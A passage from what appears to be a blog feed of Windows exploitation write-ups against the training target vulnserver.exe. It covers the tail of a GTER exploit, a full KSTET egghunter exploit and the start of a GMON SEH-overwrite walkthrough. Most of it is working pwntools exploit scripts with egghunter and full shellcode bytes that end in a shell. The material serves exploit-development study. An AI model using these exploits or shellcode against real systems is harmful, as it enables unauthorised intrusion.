payload += shellcode
r.readline()
r.sendline(payload)
r.readline()
r.close()
#Reopening connection to vulnserver
r = remote(host, port)
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
payload = ""
payload += "GTER "
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer
payload += egghunter
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>— ar33zy</p>ar33zyIn this write-up, I will discuss about attacking GTER command of vulnserver.exe with egghunter.Exploiting vulnserver.exe — KSTET command using egghunter2020-07-05T08:42:11+00:002020-07-05T08:42:11+00:00https://ar33zy.hackstreetboys.ph/exploitation/windows/windows-exploitation-vulnserver-kstet-command<p>In this write-up, I will discuss about attacking KSTET command of vulnserver.exe with egghunter.</p>
<p>To get started, let’s read the source code of vulnserver.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*6KiMs9Z2pDRygZT_VnKJlg.png" alt="" class="align-center" /></p>
<p>The code tells us that it only copies <code class="language-plaintext highlighter-rouge">100 bytes</code> of our input <code class="language-plaintext highlighter-rouge">(RecvBuf)</code> to <code class="language-plaintext highlighter-rouge">KstetBuf</code>, and it passes <code class="language-plaintext highlighter-rouge">KstetBuf</code> to <code class="language-plaintext highlighter-rouge">Function2().</code></p>
<p>Let’s inspect <code class="language-plaintext highlighter-rouge">Function2</code> to have a better understanding what happens next.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*KLVHplQtPi1ZeuZ_34Jueg.png" alt="" class="align-center" /></p>
<p>The contents of <code class="language-plaintext highlighter-rouge">KstetBuf</code> is copied to <code class="language-plaintext highlighter-rouge">Buffer2S</code> without checking the length. This is where the vulnerability occurs. Since <code class="language-plaintext highlighter-rouge">Buffer2S</code> can only handle <code class="language-plaintext highlighter-rouge">60</code> <code class="language-plaintext highlighter-rouge">bytes</code> and <code class="language-plaintext highlighter-rouge">KstetBuf</code> can handle up to <code class="language-plaintext highlighter-rouge">100 bytes</code> of input, we can smash the stack by sending a payload greater than <code class="language-plaintext highlighter-rouge">60 bytes</code>.</p>
<p>Our initial payload should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "KSTET "
payload += "A"*100
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Sending this payload to <code class="language-plaintext highlighter-rouge">vulnserver</code> makes the program crash.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*es2BL6EkuSUAaIMVe-j_Gg.png" alt="" class="align-center" /></p>
<p>Upon checking the registers, it seems that we can now control the instruction pointer.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*jZT-sqw9ipe3sLhkQWbmFg.png" alt="" class="align-center" /></p>
<p>Let’s fuzz this program to get the offset we need to control EIP.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*3NLtBieTFPQ9UuJDrdFFtA.png" alt="" class="align-center" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "KSTET "
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Sending this payload gives us the unique pattern that has overwritten the instruction pointer.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*9eevoMh67vOn_afv9hPNIQ.png" alt="" class="align-center" /></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*hvWMw-MQ9oi5VzgCJUEdNg.png" alt="" class="align-center" /></p>
<p>We can now control the instruction pointer with <code class="language-plaintext highlighter-rouge">70 bytes</code> of buffer.</p>
<p>Now, our issue here is that we only have <code class="language-plaintext highlighter-rouge">100 bytes</code> of space for our payload, and our shellcode have a length of <code class="language-plaintext highlighter-rouge">300</code> to <code class="language-plaintext highlighter-rouge">400</code> on average. We need to do a trick for sending our shellcode on the program, and at the same time jumping into it.</p>
<p>Upon checking again the source code, I have seen some unexploitable commands that can be used to inject our shellcode.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*c9TdiKOysF36sQrzFjascw.png" alt="" class="align-center" /></p>
<p>GDOG command stores <code class="language-plaintext highlighter-rouge">1024 bytes</code> of our input to <code class="language-plaintext highlighter-rouge">GdogBuf</code>. Given this, we need to have a 2-stage payload to make our exploit work.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Stage 1 — injecting our payload using GDOG
- Stage 2 — jumping to shellcode using KSTET vulnerability
</code></pre></div></div>
<p>Since we can say that using the stage 1 payload, our shellcode can be located inside the program. Given this, we can use the <code class="language-plaintext highlighter-rouge">EGGHUNTING</code> technique.</p>
<p>To give a quick background about <code class="language-plaintext highlighter-rouge">egghunter</code>, it is a <code class="language-plaintext highlighter-rouge">short shellcode</code> that locates a specific pattern (<code class="language-plaintext highlighter-rouge">the egg</code>) in the memory. Basically, it locates and executes the shellcode that we injected beforehand. You can read more about this <code class="language-plaintext highlighter-rouge">egghunters</code> on this <a href="https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/">page</a>.</p>
<p>We can easily generate an egghunter shellcode with the help of <code class="language-plaintext highlighter-rouge">mona</code> by using <code class="language-plaintext highlighter-rouge">!mona egg -t arzy</code>.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*uP4_TTFb6yf0jrqxePIHsA.png" alt="" class="align-center" /></p>
<p>Now, we need to think of a way to execute this egghunter shellcode. The length of this shellcode is <code class="language-plaintext highlighter-rouge">32 bytes,</code> and we have a limited space for our payload. We can only place this shellcode <code class="language-plaintext highlighter-rouge">in the buffer before our instruction pointer control</code>.</p>
<p>Our stage 2 payload structure should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = <buffer with egghunter shellcode> + <instruction pointer control>
</code></pre></div></div>
<p>Now, we need to jump backwards to our <code class="language-plaintext highlighter-rouge">egghunter shellcode</code> by using <code class="language-plaintext highlighter-rouge">JMP ESP</code> and <code class="language-plaintext highlighter-rouge">RELATIVE SHORT JMP.</code></p>
<blockquote>
<p>I have introduced <code class="language-plaintext highlighter-rouge">JMP ESP</code> and <code class="language-plaintext highlighter-rouge">RELATIVE SHORT JMP</code> from my previous posts, you may read about them from these posts.</p>
<ul>
<li><a href="/exploitation/windows/windows-exploitation-vulnserver-trun-command/">JMP ESP</a></li>
<li><a href="/exploitation/windows/windows-exploitation-vulnserver-gmon-command/">RELATIVE SHORT JMP</a></li>
</ul>
</blockquote>
<p>Let’s check if there is an available <code class="language-plaintext highlighter-rouge">JMP ESP</code> instruction that we can use with the help of <code class="language-plaintext highlighter-rouge">mona</code>. We can simply use <code class="language-plaintext highlighter-rouge">!mona jmp -r esp</code> to get a list of <code class="language-plaintext highlighter-rouge">JMP ESP</code> instructions.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*T5ObFTveVw9TISUJDHZFMQ.png" alt="" class="align-center" /></p>
<p>We can use <code class="language-plaintext highlighter-rouge">0x625011af</code> as our <code class="language-plaintext highlighter-rouge">JMP ESP</code> instruction.</p>
<p>Next, we need to construct our <code class="language-plaintext highlighter-rouge">RELATIVE SHORT JMP</code> instruction. Since our egghunter is just <code class="language-plaintext highlighter-rouge">32 bytes</code> and our buffer length is <code class="language-plaintext highlighter-rouge">70 bytes</code>, we can try to use <code class="language-plaintext highlighter-rouge">JMP -50</code>.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*0LKx1L2wCDpb9EsC2neO5w.png" alt="" class="align-center" /></p>
<p>Let’s reconstruct our payload structure, it should now look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = <buffer with egghunter> + <jmp esp> + <jmp -50>
</code></pre></div></div>
<p>Combining everything above, our payload script should now look like this. Let’s use “<code class="language-plaintext highlighter-rouge">\xcc</code>” as our egghunter placeholder.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "KSTET "
payload += "A"*(70 - 50 + 2) # -50 for egghunter buffer
payload += "\xcc"*32 # egghunter placeholder
payload += "B"*(48 - 32) # 48 (buffer for egghunter - egghunter length)
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*HN4n6T4BssBK5VjqkZhPmQ.png" alt="" class="align-center" /></p>
<p>Upon checking, we did not exactly land on our first “<code class="language-plaintext highlighter-rouge">\xcc</code>”. This is because we forgot to consider the 4 bytes of <code class="language-plaintext highlighter-rouge">JMP ESP</code> during our payload creation.</p>
<p>Let’s reconstruct our payload.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "KSTET "
payload += "A"*(70 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP alignment
payload += "\xcc"*32 # egghunter placeholder
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length - 4 bytes for JMP ESP)
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*79hNM321f8Jt3oG5zv8CvQ.png" alt="" class="align-center" /></p>
<p>We successfully landed on the location that we want. Let’s replace this with our egghunter and construct our stage 1 payload.</p>
<p>Our <code class="language-plaintext highlighter-rouge">stage 1 payload</code> should include the <code class="language-plaintext highlighter-rouge">egg</code> and the <code class="language-plaintext highlighter-rouge">shellcode</code>. The payload structure should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = "arzy"*2 + NOP sled + shellcode
</code></pre></div></div>
<p>According to the <a href="https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/">resource of egghunter above</a>, the shellcode must be prepended with the egg two times.</p>
<blockquote>
<p>You just have to remember :<br />
– The marker needs to be unique (Usually you need to define the tag as 4 bytes inside the egg hunter, and 2 times (2 times right after each other, so 8 bytes) prepended to the actual shellcode.</p>
</blockquote>
<p>Now, let’s generate our shellcode.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*daJhkYsONGy7m57q1CLHaw.png" alt="" class="align-center" /></p>
<p>To check if the egghunter can really locate our shellcode, we can add a debugging instruction (<code class="language-plaintext highlighter-rouge">\xcc</code>) before the NOP sled.</p>
<p>Let’s now combine everything above in our payload script.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xbb\x0d\xb7\xd7\xc5\xdb\xd9\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x58\x0e"
shellcode += b"\x03\x55\xb9\x35\x30\x99\x2d\x3b\xbb\x61\xae"
shellcode += b"\x5c\x35\x84\x9f\x5c\x21\xcd\xb0\x6c\x21\x83"
shellcode += b"\x3c\x06\x67\x37\xb6\x6a\xa0\x38\x7f\xc0\x96"
shellcode += b"\x77\x80\x79\xea\x16\x02\x80\x3f\xf8\x3b\x4b"
shellcode += b"\x32\xf9\x7c\xb6\xbf\xab\xd5\xbc\x12\x5b\x51"
shellcode += b"\x88\xae\xd0\x29\x1c\xb7\x05\xf9\x1f\x96\x98"
shellcode += b"\x71\x46\x38\x1b\x55\xf2\x71\x03\xba\x3f\xcb"
shellcode += b"\xb8\x08\xcb\xca\x68\x41\x34\x60\x55\x6d\xc7"
shellcode += b"\x78\x92\x4a\x38\x0f\xea\xa8\xc5\x08\x29\xd2"
shellcode += b"\x11\x9c\xa9\x74\xd1\x06\x15\x84\x36\xd0\xde"
shellcode += b"\x8a\xf3\x96\xb8\x8e\x02\x7a\xb3\xab\x8f\x7d"
shellcode += b"\x13\x3a\xcb\x59\xb7\x66\x8f\xc0\xee\xc2\x7e"
shellcode += b"\xfc\xf0\xac\xdf\x58\x7b\x40\x0b\xd1\x26\x0d"
shellcode += b"\xf8\xd8\xd8\xcd\x96\x6b\xab\xff\x39\xc0\x23"
shellcode += b"\x4c\xb1\xce\xb4\xb3\xe8\xb7\x2a\x4a\x13\xc8"
shellcode += b"\x63\x89\x47\x98\x1b\x38\xe8\x73\xdb\xc5\x3d"
shellcode += b"\xd3\x8b\x69\xee\x94\x7b\xca\x5e\x7d\x91\xc5"
shellcode += b"\x81\x9d\x9a\x0f\xaa\x34\x61\xd8\x15\x60\xe1"
shellcode += b"\xee\xfe\x73\xf1\x1f\xa3\xfa\x17\x75\x4b\xab"
shellcode += b"\x80\xe2\xf2\xf6\x5a\x92\xfb\x2c\x27\x94\x70"
shellcode += b"\xc3\xd8\x5b\x71\xae\xca\x0c\x71\xe5\xb0\x9b"
shellcode += b"\x8e\xd3\xdc\x40\x1c\xb8\x1c\x0e\x3d\x17\x4b"
shellcode += b"\x47\xf3\x6e\x19\x75\xaa\xd8\x3f\x84\x2a\x22"
shellcode += b"\xfb\x53\x8f\xad\x02\x11\xab\x89\x14\xef\x34"
shellcode += b"\x96\x40\xbf\x62\x40\x3e\x79\xdd\x22\xe8\xd3"
shellcode += b"\xb2\xec\x7c\xa5\xf8\x2e\xfa\xaa\xd4\xd8\xe2"
shellcode += b"\x1b\x81\x9c\x1d\x93\x45\x29\x66\xc9\xf5\xd6"
shellcode += b"\xbd\x49\x05\x9d\x9f\xf8\x8e\x78\x4a\xb9\xd2"
shellcode += b"\x7a\xa1\xfe\xea\xf8\x43\x7f\x09\xe0\x26\x7a"
shellcode += b"\x55\xa6\xdb\xf6\xc6\x43\xdb\xa5\xe7\x41"
payload = ""
payload += "GDOG "
payload += "arzy"*2
payload += "\xcc"*4 # debugger
payload += "\x90"*100
payload += shellcode
r.sendline(payload)
r.recvline()
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
payload = ""
payload += "KSTET "
payload += "A"*(70 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP alignment
payload += egghunter
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length - 4 bytes for JMP ESP)
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*bhjS9RKmb-ULiuKOVG-9ig.png" alt="" class="align-center" /></p>
<p>It successfully landed on our debugger. Let’s remove this debugger for our final payload script.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xbb\x0d\xb7\xd7\xc5\xdb\xd9\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x58\x0e"
shellcode += b"\x03\x55\xb9\x35\x30\x99\x2d\x3b\xbb\x61\xae"
shellcode += b"\x5c\x35\x84\x9f\x5c\x21\xcd\xb0\x6c\x21\x83"
shellcode += b"\x3c\x06\x67\x37\xb6\x6a\xa0\x38\x7f\xc0\x96"
shellcode += b"\x77\x80\x79\xea\x16\x02\x80\x3f\xf8\x3b\x4b"
shellcode += b"\x32\xf9\x7c\xb6\xbf\xab\xd5\xbc\x12\x5b\x51"
shellcode += b"\x88\xae\xd0\x29\x1c\xb7\x05\xf9\x1f\x96\x98"
shellcode += b"\x71\x46\x38\x1b\x55\xf2\x71\x03\xba\x3f\xcb"
shellcode += b"\xb8\x08\xcb\xca\x68\x41\x34\x60\x55\x6d\xc7"
shellcode += b"\x78\x92\x4a\x38\x0f\xea\xa8\xc5\x08\x29\xd2"
shellcode += b"\x11\x9c\xa9\x74\xd1\x06\x15\x84\x36\xd0\xde"
shellcode += b"\x8a\xf3\x96\xb8\x8e\x02\x7a\xb3\xab\x8f\x7d"
shellcode += b"\x13\x3a\xcb\x59\xb7\x66\x8f\xc0\xee\xc2\x7e"
shellcode += b"\xfc\xf0\xac\xdf\x58\x7b\x40\x0b\xd1\x26\x0d"
shellcode += b"\xf8\xd8\xd8\xcd\x96\x6b\xab\xff\x39\xc0\x23"
shellcode += b"\x4c\xb1\xce\xb4\xb3\xe8\xb7\x2a\x4a\x13\xc8"
shellcode += b"\x63\x89\x47\x98\x1b\x38\xe8\x73\xdb\xc5\x3d"
shellcode += b"\xd3\x8b\x69\xee\x94\x7b\xca\x5e\x7d\x91\xc5"
shellcode += b"\x81\x9d\x9a\x0f\xaa\x34\x61\xd8\x15\x60\xe1"
shellcode += b"\xee\xfe\x73\xf1\x1f\xa3\xfa\x17\x75\x4b\xab"
shellcode += b"\x80\xe2\xf2\xf6\x5a\x92\xfb\x2c\x27\x94\x70"
shellcode += b"\xc3\xd8\x5b\x71\xae\xca\x0c\x71\xe5\xb0\x9b"
shellcode += b"\x8e\xd3\xdc\x40\x1c\xb8\x1c\x0e\x3d\x17\x4b"
shellcode += b"\x47\xf3\x6e\x19\x75\xaa\xd8\x3f\x84\x2a\x22"
shellcode += b"\xfb\x53\x8f\xad\x02\x11\xab\x89\x14\xef\x34"
shellcode += b"\x96\x40\xbf\x62\x40\x3e\x79\xdd\x22\xe8\xd3"
shellcode += b"\xb2\xec\x7c\xa5\xf8\x2e\xfa\xaa\xd4\xd8\xe2"
shellcode += b"\x1b\x81\x9c\x1d\x93\x45\x29\x66\xc9\xf5\xd6"
shellcode += b"\xbd\x49\x05\x9d\x9f\xf8\x8e\x78\x4a\xb9\xd2"
shellcode += b"\x7a\xa1\xfe\xea\xf8\x43\x7f\x09\xe0\x26\x7a"
shellcode += b"\x55\xa6\xdb\xf6\xc6\x43\xdb\xa5\xe7\x41"
payload = ""
payload += "GDOG "
payload += "arzy"*2
payload += "\x90"*100
payload += shellcode
r.sendline(payload)
r.recvline()
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
payload = ""
payload += "KSTET "
payload += "A"*(70 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP alignment
payload += egghunter
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length - 4 bytes for JMP ESP)
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Executing this payload gives us a shell.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*YiD1LktrLTIWpTtf-eUQ2Q.png" alt="" class="align-center" /></p>
<p>— ar33zy</p>ar33zyIn this write-up, I will discuss about attacking KSTET command of vulnserver.exe with egghunter.Exploiting vulnserver.exe — GMON command using SEH overwrite2020-07-05T06:47:51+00:002020-07-05T06:47:51+00:00https://ar33zy.hackstreetboys.ph/exploitation/windows/windows-exploitation-vulnserver-gmon-command<p>In this write-up, I will discuss about attacking GMON command of vulnserver.exe with SEH overwrite.</p>
<p>To get started, let’s read the source code of vulnserver.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*IdrO0xmxSRpIV0r0W8aKLg.png" alt="" class="align-center" /></p>
<p>The code tells us that it passes <code class="language-plaintext highlighter-rouge">RecvBuf</code> to <code class="language-plaintext highlighter-rouge">Function3() if our input contains “/” and the input length is greater than 3950 bytes</code>.</p>
<p>Let’s inspect <code class="language-plaintext highlighter-rouge">Function3</code> to have a better understanding what happens next.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*P8ghBxFTsSP74ZnSmuN9ZA.png" alt="" class="align-center" /></p>
<p>The contents of <code class="language-plaintext highlighter-rouge">RecvBuf</code> is copied to <code class="language-plaintext highlighter-rouge">Buffer2S</code> without checking the length. This is where the vulnerability occurs. Since <code class="language-plaintext highlighter-rouge">Buffer2S</code> can only handle <code class="language-plaintext highlighter-rouge">2000</code> <code class="language-plaintext highlighter-rouge">bytes</code> and <code class="language-plaintext highlighter-rouge">RecvBuf</code> must be at least <code class="language-plaintext highlighter-rouge">3951 bytes</code> of input, we can smash the stack by sending a payload greater than <code class="language-plaintext highlighter-rouge">2000 bytes</code>.</p>
<p>Since <code class="language-plaintext highlighter-rouge">RecvBuf</code> must be greater than <code class="language-plaintext highlighter-rouge">3950 bytes</code>, let’s try sending a payload with a length of <code class="language-plaintext highlighter-rouge">4000 bytes</code> and observe what happens.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "GMON /"
payload += "A"*4000
r.sendline(payload)
r.close()
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*bDOD5e2_yqnrxxeo5Qz3kg.png" alt="" class="align-center" /></p>
<p>It seems that the EIP was not overwritten.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*BAtUXo0LNJuUoUUWJXzg_A.png" alt="" class="align-center" /></p>
<p>Let’s check the SEH chain viewer of Immunity debugger.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*OS2fkVTrcMqj_BYwO1XXDA.png" alt="" class="align-center" /></p>
<p>Instead of an <code class="language-plaintext highlighter-rouge">EIP</code> overwrite, we have overwritten the SEH value and the pointer to the next SEH value.</p>
<p>To give a quick background about <code class="language-plaintext highlighter-rouge">SEH</code> or <code class="language-plaintext highlighter-rouge">Structured Exception Handling</code>, it handles all issues encountered by the program during runtime. Basically, when the program crashes unexpectedly, <code class="language-plaintext highlighter-rouge">SEH</code> handles the program issue in a graceful manner.</p>
<blockquote>
<p>You can read more about SEH exploits from <a href="https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/">corelan</a>.</p>
</blockquote>
<p>Going back to the exploitation, let’s fuzz the program to get the offset we need to control the <code class="language-plaintext highlighter-rouge">SEH</code> value and the <code class="language-plaintext highlighter-rouge">NSEH pointer</code>.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*NHPjKLjUqgbUokdFeUt1ig.png" alt="" class="align-center" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "GMON /"
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1D